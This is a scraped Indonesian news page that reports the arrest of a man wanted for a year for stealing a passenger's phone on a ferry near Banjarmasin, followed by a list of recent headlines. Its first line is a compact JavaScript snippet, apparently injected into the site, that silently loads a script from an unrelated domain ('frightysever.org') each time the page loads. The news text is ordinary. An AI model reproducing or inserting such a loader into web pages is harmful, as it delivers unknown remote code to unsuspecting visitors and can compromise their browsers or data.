(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Setahun Buron, Lelaki Ini Ditangkap Polisi Gegara HP


KANALKALIMANTAN.COM, BANJARMASIN – Setahun masuk daftar pencarian orang alis buron, maling ponsel di feri penyeberangan Banjarmasin-Tamban ditangkap polisi, Rabu (9/9/2021) malam.

Mahyudi (39) warga Desa Tamban Bangun RT 01, Kabupaten Batola ditangkap jajaran Satpolair Polresta Banjarmasin.

Ditangkapnya Mahyudi lantaran mencuri satu buah ponsel milik penumpang, Fakhri Ananda (25) di feri penyeberangan Saka Kajang, Tamban, Kabupaten Batola, pada 11 Oktober 2020 silam.

Kasat Polair Polresta Banjarmasin, AKP Cristugus Lirens melalui Kanit Gakkum, Iptu Selamat Riyadi mengatakan, Mahyudi ditangkap tim gabungan dari Timsus Polresta Banjarmasin, Resmob Polda Kalsel, Resmob Batola, Jatanras Polresta Banjarmasin, Buser Polsek Banjarmasin Tengah, Buser Polsek Banjarmasin Utara, dan Buser Polsek Banjarmasin Barat.

 

 

Baca juga: PPKM Level 4 Diperpanjang, Wali Kota Aditya Imbau Masyarakat Kurangi Mobilitas

“Benar tersangka sudah diamankan tim gabungan di rumahnya pada Sabtu 4 September 2021 sekitar pukul 23.30 Wita,” terang Kanit Gakkum.

Iptu Selamat Riyadi yang turut memimpin penangkapan ini menjelaskan, pada hari terjadi pencurian ini, pelaku dan korban sama-sama berada di atas feri penyeberangan Berkat Usaha menuju dermaga Saka Kajang, Batola.

“Korban meletakkan ponselnya di samping tempat duduk, setelah sampai di tujuan korban langsung pulang ke rumah, namun lupa membawa ponselnya,” lanjut Iptu Selamat Riyadi.

Sesampainya di rumah, korban baru teringat ponselnya tertinggal di atas kapal.

Ia bergegas kembali ke kapal untuk mencari hp-nya namun tidak ditemukan, lalu menanyakan kepada juragan feri.

Korban lantas mencoba menghubungi nomor ponselnya itu dan diketahui masih aktif, namun tidak diangkat.

Ketika dihubungi kedua kalinya, rupanya nomor ponsel milik korban sudah tidak aktif lagi.

Karena kejadian ini pula, korban kemudian melaporkan ke Sat Polairud Polresta Banjarmasin.

Baca juga: Cuma Dijaga 12 Sipir, Napi Lapas Tangerang Terjebak Kebakaran karena Terkunci dari Dalam

“Pelaku kini sudah kami amankan bersama barang bukti ponsel dan kotak serta nota pembeliannya,” tutup Kanit Gakkum.

Mahyudi pun terancam hukuman maksimal lima tahun kurungan penjara.
(kanalkalimantan.com/chandra)

Reporter : chandra
Editor : bie


Risa

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

5 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

19 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

20 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

22 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.